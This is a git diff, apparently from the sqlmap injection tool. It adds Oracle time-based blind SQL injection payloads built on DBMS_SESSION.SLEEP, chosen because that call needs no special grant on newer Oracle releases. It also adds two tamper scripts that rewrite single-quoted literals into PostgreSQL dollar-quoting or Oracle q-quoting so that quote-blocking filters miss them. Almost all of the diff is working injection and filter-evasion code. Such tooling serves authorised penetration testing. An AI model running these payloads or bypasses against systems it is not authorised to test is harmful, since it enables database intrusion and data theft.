diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
index fe9de254c..1370b8b26 100644
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -1776,6 +1776,26 @@
     </test>
 
     <!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
+    <!-- DBMS_SESSION.SLEEP is granted to PUBLIC on Oracle 18c+ (unlike DBMS_LOCK.SLEEP, which needs an explicit grant); tried first so modern targets get a no-privilege delay, falling back to DBMS_LOCK.SLEEP on older releases -->
+    <test>
+        <title>Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP)</title>
+        <stype>5</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,3,9</clause>
+        <where>3</where>
+        <vector>BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</vector>
+        <request>
+            <payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Oracle</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
         <stype>5</stype>
@@ -2072,6 +2092,25 @@
         </details>
     </test>
 
+    <test>
+        <title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP)</title>
+        <stype>5</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>2,3</clause>
+        <where>1</where>
+        <vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</vector>
+        <request>
+            <payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Oracle</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title>
         <stype>5</stype>
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 4a6211421..5ec28a349 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.7.70"
+VERSION = "1.10.7.71"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/tamper/dollarquote.py b/tamper/dollarquote.py
new file mode 100644
index 000000000..bb268b036
--- /dev/null
+++ b/tamper/dollarquote.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import os
+import re
+
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import DBMS
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.LOW
+
+def dependencies():
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
+
+def tamper(payload, **kwargs):
+    """
+    Replaces single-quoted strings with PostgreSQL dollar-quoted strings (e.g. 'abc' -> $$abc$$)
+
+    Requirement:
+        * PostgreSQL
+
+    Tested against:
+        * PostgreSQL 9.x, 10-16
+
+    Notes:
+        * Useful to bypass filters that block, strip or escape the single-quote
+          character: dollar-quoting is quote-free and needs no escaping
+        * A literal already containing '$$' is left untouched
+
+    >>> tamper("SELECT 'abc' FROM t WHERE x='def'")
+    'SELECT $$abc$$ FROM t WHERE x=$$def$$'
+    """
+
+    retVal = payload
+
+    if payload:
+        retVal = re.sub(r"'([^']*)'", lambda match: "$$%s$$" % match.group(1) if "$$" not in match.group(1) else match.group(0), payload)
+
+    return retVal
diff --git a/tamper/oraclequote.py b/tamper/oraclequote.py
new file mode 100644
index 000000000..6b0416357
--- /dev/null
+++ b/tamper/oraclequote.py
@@ -0,0 +1,53 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import os
+import re
+
+from lib.core.common import singleTimeWarnMessage
+from lib.core.enums import DBMS
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.LOW
+
+def dependencies():
+    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE))
+
+def tamper(payload, **kwargs):
+    """
+    Replaces single-quoted strings with Oracle alternative-quoted strings (e.g. 'abc' -> q'[abc]')
+
+    Requirement:
+        * Oracle 10g+
+
+    Tested against:
+        * Oracle 11g, 12c, 18c, 19c, 21c, 23ai
+
+    Notes:
+        * Useful to bypass filters that block, strip or escape the single-quote
+          character: q-quoting delimits the literal with a chosen bracket/char
+          so the inner text needs no quote at all
+        * The first delimiter whose characters are absent from the literal is
+          used; a literal that contains every candidate delimiter is left untouched
+
+    >>> tamper("SELECT 'abc' FROM DUAL")
+    "SELECT q'[abc]' FROM DUAL"
+    """
+
+    def _quote(match):
+        value = match.group(1)
+        for start, end in (("[", "]"), ("{", "}"), ("(", ")"), ("<", ">"), ("!", "!"), ("|", "|"), ("#", "#")):
+            if start not in value and end not in value:
+                return "q'%s%s%s'" % (start, value, end)
+        return match.group(0)
+
+    retVal = payload
+
+    if payload:
+        retVal = re.sub(r"'([^']*)'", _quote, payload)
+
+    return retVal